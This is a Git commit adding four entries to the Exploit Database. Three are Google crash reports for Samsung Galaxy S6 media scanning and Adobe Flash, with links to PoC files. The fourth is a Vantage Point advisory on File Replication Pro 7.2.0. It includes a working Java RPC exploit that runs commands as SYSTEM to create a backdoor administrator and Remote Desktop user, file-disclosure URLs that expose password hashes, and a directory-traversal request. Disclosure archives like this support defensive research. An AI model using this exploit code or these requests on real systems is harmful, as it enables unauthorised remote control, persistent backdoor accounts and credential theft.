DB: 2016-02-12
4 new exploits
This commit is contained in:
Offensive Security
parent
3b34885ebf
commit
c25db93691
5 changed files with 297 additions and 0 deletions
|
|
@ -35662,6 +35662,9 @@ id,file,description,date,author,platform,type,port
|
||||||
39421,platforms/php/webapps/39421.py,"WordPress WooCommerce Store Toolkit Plugin 1.5.5 - Privilege Escalation",2016-02-08,"Panagiotis Vagenas",php,webapps,80
|
39421,platforms/php/webapps/39421.py,"WordPress WooCommerce Store Toolkit Plugin 1.5.5 - Privilege Escalation",2016-02-08,"Panagiotis Vagenas",php,webapps,80
|
||||||
39422,platforms/php/webapps/39422.py,"WordPress WP User Frontend Plugin < 2.3.11 - Unrestricted File Upload",2016-02-08,"Panagiotis Vagenas",php,webapps,80
|
39422,platforms/php/webapps/39422.py,"WordPress WP User Frontend Plugin < 2.3.11 - Unrestricted File Upload",2016-02-08,"Panagiotis Vagenas",php,webapps,80
|
||||||
39423,platforms/php/webapps/39423.txt,"WordPress Booking Calendar Contact Form Plugin <= 1.0.23 - Multiple Vulnerabilities",2016-02-08,"i0akiN SEC-LABORATORY",php,webapps,80
|
39423,platforms/php/webapps/39423.txt,"WordPress Booking Calendar Contact Form Plugin <= 1.0.23 - Multiple Vulnerabilities",2016-02-08,"i0akiN SEC-LABORATORY",php,webapps,80
|
||||||
|
39424,platforms/android/dos/39424.txt,"Samsung Galaxy S6 - libQjpeg je_free Crash",2016-02-08,"Google Security Research",android,dos,0
|
||||||
|
39425,platforms/android/dos/39425.txt,"Samsung Galaxy S6 - android.media.process Face Recognition Memory Corruption (MdConvertLine)",2016-02-08,"Google Security Research",android,dos,0
|
||||||
|
39426,platforms/multiple/dos/39426.txt,"Adobe Flash - Processing AVC Causes Stack Corruption",2016-02-08,"Google Security Research",multiple,dos,0
|
||||||
39427,platforms/php/webapps/39427.txt,"Employee Timeclock Software 0.99 - SQL Injection Vulnerabilities",2010-03-10,"Secunia Research",php,webapps,0
|
39427,platforms/php/webapps/39427.txt,"Employee Timeclock Software 0.99 - SQL Injection Vulnerabilities",2010-03-10,"Secunia Research",php,webapps,0
|
||||||
39428,platforms/windows/dos/39428.txt,"PotPlayer 1.6.5x - .mp3 Crash PoC",2016-02-09,"Shantanu Khandelwal",windows,dos,0
|
39428,platforms/windows/dos/39428.txt,"PotPlayer 1.6.5x - .mp3 Crash PoC",2016-02-09,"Shantanu Khandelwal",windows,dos,0
|
||||||
39429,platforms/windows/dos/39429.txt,"Adobe Photoshop CC & Bridge CC PNG File Parsing Memory Corruption",2016-02-09,"Francis Provencher",windows,dos,0
|
39429,platforms/windows/dos/39429.txt,"Adobe Photoshop CC & Bridge CC PNG File Parsing Memory Corruption",2016-02-09,"Francis Provencher",windows,dos,0
|
||||||
|
|
@ -35673,3 +35676,4 @@ id,file,description,date,author,platform,type,port
|
||||||
39436,platforms/php/webapps/39436.txt,"Yeager CMS 1.2.1 - Multiple Vulnerabilities",2016-02-10,"SEC Consult",php,webapps,80
|
39436,platforms/php/webapps/39436.txt,"Yeager CMS 1.2.1 - Multiple Vulnerabilities",2016-02-10,"SEC Consult",php,webapps,80
|
||||||
39437,platforms/hardware/remote/39437.rb,"D-Link DCS-930L Authenticated Remote Command Execution",2016-02-10,metasploit,hardware,remote,0
|
39437,platforms/hardware/remote/39437.rb,"D-Link DCS-930L Authenticated Remote Command Execution",2016-02-10,metasploit,hardware,remote,0
|
||||||
39438,platforms/xml/local/39438.txt,"Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder",2016-02-10,LiquidWorm,xml,local,0
|
39438,platforms/xml/local/39438.txt,"Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder",2016-02-10,LiquidWorm,xml,local,0
|
||||||
|
39439,platforms/jsp/remote/39439.txt,"File Replication Pro <= 7.2.0 - Multiple Vulnerabilities",2016-02-11,"Vantage Point Security",jsp,remote,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
41
platforms/android/dos/39424.txt
Executable file
41
platforms/android/dos/39424.txt
Executable file
|
|
@ -0,0 +1,41 @@
|
||||||
|
Source: https://code.google.com/p/google-security-research/issues/detail?id=617
|
||||||
|
|
||||||
|
The attached jpg causes an invalid pointer to be freed when media scanning occurs.
|
||||||
|
|
||||||
|
F/libc (11192): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xffffffffffffb0 in tid 14368 (HEAVY#7)
|
||||||
|
I/DEBUG ( 3021): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
|
||||||
|
I/DEBUG ( 3021): Build fingerprint: 'Verizon/zeroltevzw/zeroltevzw:5.1.1/LMY47X/G925VVRU4BOG9:user/release-keys'
|
||||||
|
I/DEBUG ( 3021): Revision: '10'
|
||||||
|
I/DEBUG ( 3021): ABI: 'arm64'
|
||||||
|
I/DEBUG ( 3021): pid: 11192, tid: 14368, name: HEAVY#7 >>> com.samsung.dcm:DCMService <<<
|
||||||
|
I/DEBUG ( 3021): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xffffffffffffb0
|
||||||
|
I/DEBUG ( 3021): x0 0000000000000002 x1 0000007f89fa9758 x2 00000000003fffff x3 0000000000000000
|
||||||
|
I/DEBUG ( 3021): x4 0000000000000000 x5 0000007f89f98000 x6 0000007f89fa9790 x7 0000000000000006
|
||||||
|
I/DEBUG ( 3021): x8 fffffffffffffffa x9 ffffffffffffffee x10 ffffffffffffff70 x11 0000007f7f000bb8
|
||||||
|
I/DEBUG ( 3021): x12 0000000000000014 x13 0000007f89f98000 x14 0000007f89fa5000 x15 0000004000000000
|
||||||
|
I/DEBUG ( 3021): x16 0000007f7eed6ba0 x17 0000007f89ef38fc x18 0000007f89fa9830 x19 0000000000000002
|
||||||
|
I/DEBUG ( 3021): x20 000000000000001f x21 0000007f89f98000 x22 00000000ffffffff x23 0000007f7f0647f8
|
||||||
|
I/DEBUG ( 3021): x24 0000007f71809b10 x25 0000000000000010 x26 0000000000000080 x27 fffffffffffffffc
|
||||||
|
I/DEBUG ( 3021): x28 0000007f7edf9dd0 x29 0000007f7edf9b50 x30 0000007f89ef3914
|
||||||
|
I/DEBUG ( 3021): sp 0000007f7edf9b50 pc 0000007f89f53b24 pstate 0000000020000000
|
||||||
|
I/DEBUG ( 3021):
|
||||||
|
I/DEBUG ( 3021): backtrace:
|
||||||
|
I/DEBUG ( 3021): #00 pc 0000000000079b24 /system/lib64/libc.so (je_free+92)
|
||||||
|
I/DEBUG ( 3021): #01 pc 0000000000019910 /system/lib64/libc.so (free+20)
|
||||||
|
I/DEBUG ( 3021): #02 pc 000000000003f8cc /system/lib64/libQjpeg.so (WINKJ_DeleteDecoderInfo+916)
|
||||||
|
I/DEBUG ( 3021): #03 pc 0000000000043890 /system/lib64/libQjpeg.so (WINKJ_DecodeImage+2852)
|
||||||
|
I/DEBUG ( 3021): #04 pc 00000000000439b4 /system/lib64/libQjpeg.so (WINKJ_DecodeFrame+88)
|
||||||
|
I/DEBUG ( 3021): #05 pc 0000000000043af0 /system/lib64/libQjpeg.so (QURAMWINK_DecodeJPEG+284)
|
||||||
|
I/DEBUG ( 3021): #06 pc 0000000000045ddc /system/lib64/libQjpeg.so (QURAMWINK_PDecodeJPEG+440)
|
||||||
|
I/DEBUG ( 3021): #07 pc 00000000000a24c0 /system/lib64/libQjpeg.so (QjpgDecodeFileOpt+432)
|
||||||
|
I/DEBUG ( 3021): #08 pc 0000000000001b98 /system/lib64/libsaiv_codec.so (saiv_codec_JpegCodec_decode_f2bRotate+40)
|
||||||
|
I/DEBUG ( 3021): #09 pc 0000000000001418 /system/lib64/libsaiv_codec.so (Java_com_samsung_android_saiv_codec_JpegCodec_decodeF2BRotate+268)
|
||||||
|
|
||||||
|
To reproduce, download the image file and wait, or trigger media scanning by calling:
|
||||||
|
|
||||||
|
adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39424.zip
|
||||||
|
|
||||||
32
platforms/android/dos/39425.txt
Executable file
32
platforms/android/dos/39425.txt
Executable file
|
|
@ -0,0 +1,32 @@
|
||||||
|
Source: https://code.google.com/p/google-security-research/issues/detail?id=616
|
||||||
|
|
||||||
|
The attached file causes memory corruption when iy is scanned by the face recognition library in android.media.process
|
||||||
|
|
||||||
|
F/libc ( 4134): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x33333333333358 in tid 12161 (syncThread)
|
||||||
|
I/DEBUG ( 3021): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
|
||||||
|
I/DEBUG ( 3021): Build fingerprint: 'Verizon/zeroltevzw/zeroltevzw:5.1.1/LMY47X/G925VVRU4BOG9:user/release-keys'
|
||||||
|
I/DEBUG ( 3021): Revision: '10'
|
||||||
|
I/DEBUG ( 3021): ABI: 'arm64'
|
||||||
|
I/DEBUG ( 3021): pid: 4134, tid: 12161, name: syncThread >>> android.process.media <<<
|
||||||
|
I/DEBUG ( 3021): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x33333333333358
|
||||||
|
I/DEBUG ( 3021): x0 3333333333333330 x1 0000007f714b6800 x2 000000000000001f x3 3333333333333330
|
||||||
|
I/DEBUG ( 3021): x4 0000007f817fedb8 x5 0000007f7c1f4ea8 x6 0000007f7c1f4ec0 x7 0000007f7c109680
|
||||||
|
I/DEBUG ( 3021): x8 304b333333333333 x9 3033330333000000 x10 3333333333333333 x11 0103304b33333333
|
||||||
|
I/DEBUG ( 3021): x12 0000040033300311 x13 0300035033333333 x14 0300303333233333 x15 0000000000001484
|
||||||
|
I/DEBUG ( 3021): x16 0000007f74bfe828 x17 0000007f8c086008 x18 0000007f8c13b830 x19 0000007f7c279a00
|
||||||
|
I/DEBUG ( 3021): x20 0000000000000000 x21 0000007f7c1036a0 x22 0000007f817ff440 x23 0000007f7c279a10
|
||||||
|
I/DEBUG ( 3021): x24 0000000032d231a0 x25 0000000000000065 x26 0000000032d28880 x27 0000000000000065
|
||||||
|
I/DEBUG ( 3021): x28 0000000000000000 x29 0000007f817fecb0 x30 0000007f740be014
|
||||||
|
I/DEBUG ( 3021): sp 0000007f817fecb0 pc 0000007f740cefdc pstate 0000000080000000
|
||||||
|
I/DEBUG ( 3021):
|
||||||
|
I/DEBUG ( 3021): backtrace:
|
||||||
|
I/DEBUG ( 3021): #00 pc 0000000000065fdc /system/lib64/libfacerecognition.so (MdConvertLine+28)
|
||||||
|
I/DEBUG ( 3021): #01 pc 0000000000055010 /system/lib64/libfacerecognition.so (MCC_Process+160)
|
||||||
|
|
||||||
|
To reproduce, download the attached file and wait, or trigger media scanning by calling:
|
||||||
|
|
||||||
|
adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39425.zip
|
||||||
213
platforms/jsp/remote/39439.txt
Executable file
213
platforms/jsp/remote/39439.txt
Executable file
|
|
@ -0,0 +1,213 @@
|
||||||
|
Vantage Point Security Advisory 2016-001
|
||||||
|
================================
|
||||||
|
|
||||||
|
Title: File Replication Pro Remote Command Execution
|
||||||
|
Vendor: File Replication Pro
|
||||||
|
Vendor URL: http://www.filereplicationpro.com/
|
||||||
|
Versions affected: =< 7.2.0
|
||||||
|
Severity: High
|
||||||
|
Vendor notified: Yes
|
||||||
|
Reported: 29 October 2015
|
||||||
|
Public release: 10 February 2016
|
||||||
|
Author: Jerold Hoong and the VP team <jerold[at]vantagepoint[dot]sg>
|
||||||
|
Permalink:
|
||||||
|
|
||||||
|
Summary:
|
||||||
|
--------
|
||||||
|
File Replication Pro (FRP) is a file management solution that is used
|
||||||
|
to back up and copy files from various nodes in the network. Vantage
|
||||||
|
Point has discovered multiple vulnerabilities in FRP v7.2.0 (and
|
||||||
|
possibly prior versions) that allow a remote unauthenticated malicious
|
||||||
|
run arbitrary code with SYSTEM privileges.
|
||||||
|
|
||||||
|
The vulnerabilities that were discovered are:
|
||||||
|
|
||||||
|
- Unauthenticated Remote Command Execution
|
||||||
|
- Unauthenticated Remote Arbitrary File Disclosure
|
||||||
|
- Unauthenticated Directory Traversal and File Listing
|
||||||
|
|
||||||
|
1. Unauthenticated Remote Command Execution
|
||||||
|
-------------------------------------------
|
||||||
|
The backup agents implements a RPC service port 9200 that supports
|
||||||
|
various calls, including a function called "ExecCommand" that
|
||||||
|
unsurprisingly executes shell commands on the system. A password hash
|
||||||
|
is used to authenticate calls on this interface (note that the hash
|
||||||
|
itself and not the password is used for authentication). This hash can
|
||||||
|
be obtained from the remote file disclosure vulnerability present in
|
||||||
|
the software (listed below) and used to authenticate to the RPC
|
||||||
|
service, where subsequently, arbitrary commands are executed as the
|
||||||
|
SYSTEM user.
|
||||||
|
|
||||||
|
POC Exploit Code of Malicious RPC Client:
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author Jerold Hoong (Vantage Point Security)
|
||||||
|
* File Replication Pro =< v7.2.0
|
||||||
|
* Remote Command Execution PoC Working Exploit
|
||||||
|
* www.vantagepoint.sg
|
||||||
|
* NOTE: Include FRP libraries to compile
|
||||||
|
*/
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import net.diasoft.frp.engine.exception.RPCException;
|
||||||
|
import net.diasoft.frp.engine.model.AddressPort;
|
||||||
|
import net.diasoft.frp.engine.tcp.client.RPCDriver;
|
||||||
|
import net.diasoft.frp.engine.tcp.client.TCPConnection;
|
||||||
|
|
||||||
|
public class Main {
|
||||||
|
|
||||||
|
static String ip = "1.2.3.4";
|
||||||
|
static int port = 9200;
|
||||||
|
// password string can be retrieved from remote file disclosure
|
||||||
|
vulnerability (configuration.xml)
|
||||||
|
// If no password is set, input blank string for password
|
||||||
|
// Use IE to navigate to <Target IP>:9200. OK = NO-AUTH, Error = AUTH
|
||||||
|
|
||||||
|
static String password = ""; // password 12345 jLIjfQZ5yojbZGTqxg2pY0VROWQ=
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
|
||||||
|
AddressPort ap = new AddressPort(ip, port);
|
||||||
|
AddressPort addresses[] = {ap};
|
||||||
|
TCPConnection _tcp_connection = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
_tcp_connection = new TCPConnection(addresses, password, true);
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
System.out.print("Connecting to host...");
|
||||||
|
RPCDriver rpc = new RPCDriver(_tcp_connection);
|
||||||
|
HashMap p = new HashMap();
|
||||||
|
|
||||||
|
try {
|
||||||
|
Map r = rpc.callFunction("ExecCommand", p);
|
||||||
|
System.out.print("Success!\n");
|
||||||
|
} catch (RPCException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
// add new user
|
||||||
|
System.out.print("Attempting to add user 'vantagepoint' with
|
||||||
|
password 'LOLrofl1337!': ");
|
||||||
|
p.put("COMMAND", "net user vantagepoint LOLrofl1337! /add");
|
||||||
|
try {
|
||||||
|
Map r = rpc.callFunction("ExecCommand", p);
|
||||||
|
} catch (RPCException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
// add new user to Admin group
|
||||||
|
System.out.print("Attempting to add user 'vantagepoint' to
|
||||||
|
'Administrators' group: ");
|
||||||
|
p.put("COMMAND", "net localgroup \"Administrators\" vantagepoint /add");
|
||||||
|
try {
|
||||||
|
Map r = rpc.callFunction("ExecCommand", p);
|
||||||
|
} catch (RPCException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
//add new user to RDP group
|
||||||
|
System.out.print("Attempting to add user 'vantagepoint' to
|
||||||
|
'Remote Desktop Users' group:");
|
||||||
|
p.put("COMMAND", "net localgroup \"Remote Desktop Users\"
|
||||||
|
vantagepoint /add");
|
||||||
|
try {
|
||||||
|
Map r = rpc.callFunction("ExecCommand", p);
|
||||||
|
} catch (RPCException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
System.out.print("\n\n---- END ----\n\n");
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
2. Unauthenticated Remote Arbitrary File Disclosure
|
||||||
|
---------------------------------------------------
|
||||||
|
A flaw in File Replication Pro allows a malicious user to gain access
|
||||||
|
to the contents of any file on the remote server. This leads to the
|
||||||
|
compromise of sensitive information such as user accounts and password
|
||||||
|
hashes, which can then be used to further exploit the server using
|
||||||
|
other vulnerabilities in the software. An example of how to view File
|
||||||
|
Replication Pro's web interface user accounts and credentials is shown
|
||||||
|
below by accessing the following URLs:
|
||||||
|
|
||||||
|
- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\properties.xml
|
||||||
|
- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\configuration.xml
|
||||||
|
|
||||||
|
|
||||||
|
3. Unauthenticated Directory Traversal and File Listing
|
||||||
|
-------------------------------------------------------
|
||||||
|
It was possible to anonymously view the file directory structure of
|
||||||
|
the remote File Replication Pro management server as well as the file
|
||||||
|
directory structure of all server nodes that are managed by the
|
||||||
|
management server. The parameters that are used to construct the POST
|
||||||
|
request in the example code below can be obtained via the remote file
|
||||||
|
disclosure vulnerability by accessing File Replication Pro's
|
||||||
|
configuration.xml, properties.xml and .frp_id files.
|
||||||
|
|
||||||
|
POST /GetRemoteDirList.jsp?server_name=WIN7SP1&server_key=WIN7SP1~29d919a3:150c736b708:-8000&server_role=Source&server_password=&parent_dir=../../../c:/
|
||||||
|
HTTP/1.1
|
||||||
|
Host: 127.0.0.1:9100
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Referer: http://127.0.0.1:9100/AddEditJob.do?action=new
|
||||||
|
Cookie: show_greeting=value; JSESSIONID=81cgjqf795cai
|
||||||
|
Connection: keep-alive
|
||||||
|
Pragma: no-cache
|
||||||
|
Cache-Control: no-cache
|
||||||
|
Content-Length: 0
|
||||||
|
|
||||||
|
|
||||||
|
Fix Information:
|
||||||
|
----------------
|
||||||
|
Upgrade to the latest version of File Replication Pro 7.3.0
|
||||||
|
|
||||||
|
Timeline:
|
||||||
|
---------
|
||||||
|
28 October 2015 - Vulnerabilities discovered
|
||||||
|
06 November 2015 - Vendor acknowledged and scheduled fixes to commence
|
||||||
|
02 February 2016 - Patch released by vendor
|
||||||
|
10 February 2016 - Release of this advisory to the public
|
||||||
|
|
||||||
|
About Vantage Point Security:
|
||||||
|
-----------------------------
|
||||||
|
|
||||||
|
Vantage Point is the leading provider for penetration testing and
|
||||||
|
security advisory services in Singapore. Clients in the Financial,
|
||||||
|
Banking and Telecommunications industries select Vantage Point
|
||||||
|
Security based on technical competency and a proven track record to
|
||||||
|
deliver significant and measurable improvements in their security
|
||||||
|
posture.
|
||||||
|
|
||||||
|
https://www.vantagepoint.sg/
|
||||||
|
office[at]vantagepoint[dot]sg
|
||||||
|
|
||||||
|
|
||||||
7
platforms/multiple/dos/39426.txt
Executable file
7
platforms/multiple/dos/39426.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
||||||
|
Source: https://code.google.com/p/google-security-research/issues/detail?id=634
|
||||||
|
|
||||||
|
The attached mp4 file causes stack corruption in Flash. To run the test, load LoadMP42.swf?file=null.mp4 from a remote server.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39426-1.zip
|
||||||
Loading…
Add table
Reference in a new issue